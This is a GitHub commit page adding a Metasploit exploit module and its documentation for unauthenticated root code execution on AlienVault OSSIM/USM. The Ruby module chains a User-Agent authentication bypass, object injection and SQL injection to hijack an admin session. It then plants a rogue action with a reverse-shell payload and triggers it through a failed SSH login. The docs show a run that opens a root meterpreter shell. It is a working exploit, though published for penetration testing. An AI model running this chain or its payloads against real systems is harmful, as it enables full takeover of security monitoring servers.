Skip to content

Commit 40108c2

Browse files
committed
first commit
1 parent f580627 commit 40108c2

File tree

2 files changed

+364
-0
lines changed

2 files changed

+364
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
## Vulnerable Application
2+
3+
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. Unauthenticated users can execute arbitrary commands under the context of the root user.
4+
5+
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
6+
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
7+
action and policy that enables to execute operating system commands by using captured session token. As a final step,
8+
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
9+
operating system command with root user privileges.
10+
11+
This module was tested against AlienVault USM 5.2.5.
12+
13+
**Vulnerable Application Installation Steps**
14+
15+
Major version of older releases can be found at following URL.
16+
[http://downloads.alienvault.com/c/download](http://downloads.alienvault.com/c/download)
17+
18+
You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file.
19+
In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) .
20+
Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail adress.
21+
22+
## Verification Steps
23+
24+
A successful check of the exploit will look like this:
25+
26+
```
27+
msf > use exploit/linux/http/alienvault_exec
28+
msf exploit(alienvault_exec) > set RHOST 12.0.0.137
29+
RHOST => 12.0.0.137
30+
msf exploit(alienvault_exec) > set LHOST 12.0.0.1
31+
LHOST => 12.0.0.1
32+
msf exploit(alienvault_exec) > check
33+
[+] 12.0.0.137:443 The target is vulnerable.
34+
msf exploit(alienvault_exec) > exploit
35+
36+
[*] Started reverse TCP handler on 12.0.0.1:4445
37+
[*] Hijacking administrator session
38+
[+] Admin session token : PHPSESSID=2gbhp8j5f2af0vu5es5t3083q4
39+
[*] Creating rogue action
40+
[+] Action created: aWbhnZFHqYbUbNW
41+
[*] Retrieving rogue action id
42+
[+] Corresponding Action ID found: D62A1D4A6D3AEEA65F99B606B02197A1
43+
[*] Retrieving policy ctx and group values
44+
[+] CTX Value found: 5E22D6A9E79211E6B8E4000C29F647D7
45+
[+] GROUP Value found: 00000000000000000000000000000000
46+
[*] Creating a policy that uses our rogue action
47+
[+] Policy created: ASdKHQOZVONGzfU
48+
[*] Activating the policy
49+
[+] Rogue policy activated
50+
[*] Triggering the policy by performing SSH login attempt
51+
[+] SSH - Failed authentication. That means our policy and action will be trigged..!
52+
[*] Sending stage (38500 bytes) to 12.0.0.137
53+
[*] Meterpreter session 6 opened (12.0.0.1:4445 -> 12.0.0.137:51674) at 2017-01-31 14:13:49 +0300
54+
55+
meterpreter > getuid
56+
Server username: root
57+
meterpreter >
58+
```
Lines changed: 306 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,306 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::SSH
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "AlienVault OSSIM/USM Remote Code Execution",
17+
'Description' => %q{
18+
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.
19+
Unauthenticated users can execute arbitrary commands under the context of the root user.
20+
21+
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
22+
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
23+
action and policy that enables to execute operating system commands by using captured session token. As a final step,
24+
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
25+
operating system command with root user privileges.
26+
27+
This module was tested against AlienVault USM 5.2.5.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'Peter Lapp', # EDB advisory owner
33+
'Mehmet Ince <[email protected]>' # Metasploit module
34+
],
35+
'References' =>
36+
[
37+
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
38+
['EDB', '40682']
39+
],
40+
'DefaultOptions' =>
41+
{
42+
'SSL' => true,
43+
'WfsDelay' => 10,
44+
'Payload' => 'python/meterpreter/reverse_tcp'
45+
},
46+
'Platform' => ['python'],
47+
'Arch' => ARCH_PYTHON,
48+
'Targets' =>
49+
[
50+
['Alienvault OSSIM 5.3.1', {}]
51+
],
52+
'Privileged' => true,
53+
'DisclosureDate' => "Jan 31 2017",
54+
'DefaultTarget' => 0
55+
))
56+
57+
register_options(
58+
[
59+
Opt::RPORT(443),
60+
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
61+
], self.class)
62+
end
63+
64+
65+
def check
66+
r = rand_text_alpha(15)
67+
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"
68+
69+
res = send_request_cgi({
70+
'method' => 'GET',
71+
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
72+
'headers' => {
73+
'User-Agent' => 'AV Report Scheduler',
74+
},
75+
'vars_get' => {
76+
'type' => 'alarm',
77+
'wtype' => 'foo',
78+
'asset' => 'ALL_ASSETS',
79+
'height' => 1,
80+
'value' => p
81+
}
82+
})
83+
84+
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
85+
Exploit::CheckCode::Vulnerable
86+
else
87+
Exploit::CheckCode::Safe
88+
end
89+
90+
end
91+
92+
93+
def exploit
94+
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
95+
print_status("Hijacking administrator session")
96+
97+
sql = "SELECT id FROM sessions LIMIT 1"
98+
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"
99+
100+
res = send_request_cgi({
101+
'method' => 'GET',
102+
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
103+
'headers' => {
104+
'User-Agent' => 'AV Report Scheduler',
105+
},
106+
'vars_get' => {
107+
'type' => 'alarm',
108+
'wtype' => 'foo',
109+
'asset' => 'ALL_ASSETS',
110+
'height' => 1,
111+
'value' => p
112+
}
113+
})
114+
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
115+
admin_session = $1
116+
cookie = "PHPSESSID=#{admin_session}"
117+
print_good("Admin session token : #{cookie}")
118+
else
119+
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
120+
end
121+
122+
# Creating a Action that contains payload.
123+
print_status("Creating rogue action")
124+
r = rand_text_alpha(15)
125+
126+
res = send_request_cgi({
127+
'method' => 'POST',
128+
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
129+
'headers' => {
130+
'User-Agent' => 'AV Report Scheduler',
131+
},
132+
'vars_post' => {
133+
'id' => '',
134+
'action' => 'new',
135+
'old_name' => '',
136+
'action_name' => r,
137+
'ctx' => '',
138+
'old_descr' => '',
139+
'descr' => r,
140+
'action_type' => '2',
141+
'only' => 'on',
142+
'cond' => 'True',
143+
'email_from' => '',
144+
'email_to' => 'email;email;email',
145+
'email_subject' => '',
146+
'email_message' => '',
147+
'transferred_user' => '',
148+
'transferred_entity' => '',
149+
'exec_command' => "python -c \"#{payload.encoded}\""
150+
}
151+
})
152+
153+
if res && res.code == 200 && res.body.include?("Action successfully updated")
154+
print_good("Action created: #{r}")
155+
else
156+
fail_with(Failure::Unknown, "Unable to create action")
157+
end
158+
159+
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
160+
# Thus we're using hijacked administrator session.
161+
print_status("Retrieving rogue action id")
162+
163+
res = send_request_cgi({
164+
'method' => 'GET',
165+
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
166+
'cookie' => cookie,
167+
'vars_get' => {
168+
'page' => '1',
169+
'rp' => '2000'
170+
}
171+
})
172+
173+
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
174+
action_id = $1
175+
print_good("Corresponding Action ID found: #{action_id}")
176+
else
177+
fail_with(Failure::Unknown, "Unable to retrieve action id")
178+
end
179+
180+
# Retrieving the policy data. We will use it while creating policy
181+
print_status("Retrieving policy ctx and group values")
182+
183+
res = send_request_cgi({
184+
'method' => 'GET',
185+
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
186+
'cookie' => cookie,
187+
'vars_get' => {
188+
'm_opt' => 'configuration',
189+
'sm_opt' => 'threat_intelligence',
190+
'h_opt' => 'policy'
191+
}
192+
})
193+
194+
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
195+
policy_ctx = $1
196+
policy_group = $2
197+
print_good("CTX Value found: #{policy_ctx}")
198+
print_good("GROUP Value found: #{policy_group}")
199+
else
200+
fail_with(Failure::Unknown, "Unable to retrieve policy data")
201+
end
202+
203+
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.
204+
print_status("Creating a policy that uses our rogue action")
205+
policy = rand_text_alpha(15)
206+
207+
res = send_request_cgi({
208+
'method' => 'POST',
209+
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
210+
'cookie' => cookie,
211+
'vars_post' => {
212+
'descr' => policy,
213+
'active' => '1',
214+
'group' => policy_group,
215+
'ctx' => policy_ctx,
216+
'order' => '1',
217+
'action' => 'new',
218+
'sources[]' => '00000000000000000000000000000000',
219+
'dests[]' => '00000000000000000000000000000000',
220+
'portsrc[]' => '0',
221+
'portdst[]' => '0',
222+
'plug_type' => '1',
223+
'plugins[0]' => 'on',
224+
'taxfilters[]' =>'25@2@0',
225+
'tax_pt' => '0',
226+
'tax_cat' => '0',
227+
'tax_subc' => '0',
228+
'mboxs[]' => '00000000000000000000000000000000',
229+
'rep_act' => '0',
230+
'rep_sev' => '1',
231+
'rep_rel' => '1',
232+
'rep_dir' => '0',
233+
'ev_sev' => '1',
234+
'ev_rel' => '1',
235+
'tzone' => 'Europe/Istanbul',
236+
'date_type' => '1',
237+
'begin_hour' => '0',
238+
'begin_minute' => '0',
239+
'begin_day_week' => '1',
240+
'begin_day_month' => '1',
241+
'begin_month' => '1',
242+
'end_hour' => '23',
243+
'end_minute' => '59',
244+
'end_day_week' => '7',
245+
'end_day_month' => '31',
246+
'end_month' => '12',
247+
'actions[]' => action_id,
248+
'sim' => '1',
249+
'priority' => '1',
250+
'qualify' => '1',
251+
'correlate' => '0',
252+
'cross_correlate' => '0',
253+
'store' => '0'
254+
}
255+
})
256+
257+
if res && res.code == 200
258+
print_good("Policy created: #{policy}")
259+
else
260+
fail_with(Failure::Unknown, "Unable to create policy id")
261+
end
262+
263+
# We gotta reload all policies in order to make our rogue one enabled.
264+
print_status("Activating the policy")
265+
266+
res = send_request_cgi({
267+
'method' => 'GET',
268+
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
269+
'cookie' => cookie,
270+
'vars_get' => {
271+
'what' => 'policies',
272+
'back' => '../policy/policy.php'
273+
}
274+
})
275+
276+
if res && res.code == 200
277+
print_good("Rogue policy activated")
278+
else
279+
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
280+
end
281+
282+
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
283+
factory = ssh_socket_factory
284+
opts = {
285+
auth_methods: ['password'],
286+
port: 22,
287+
use_agent: false,
288+
config: false,
289+
password: rand_text_alpha(15),
290+
proxy: factory,
291+
non_interactive: true
292+
}
293+
294+
print_status("Triggering the policy by performing SSH login attempt")
295+
296+
begin
297+
Net::SSH.start(rhost, "root", opts)
298+
rescue Net::SSH::AuthenticationFailed
299+
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
300+
rescue Net::SSH::Exception => e
301+
print_error("SSH Error: #{e.class} : #{e.message}")
302+
return nil
303+
end
304+
305+
end
306+
end

0 commit comments

Comments
 (0)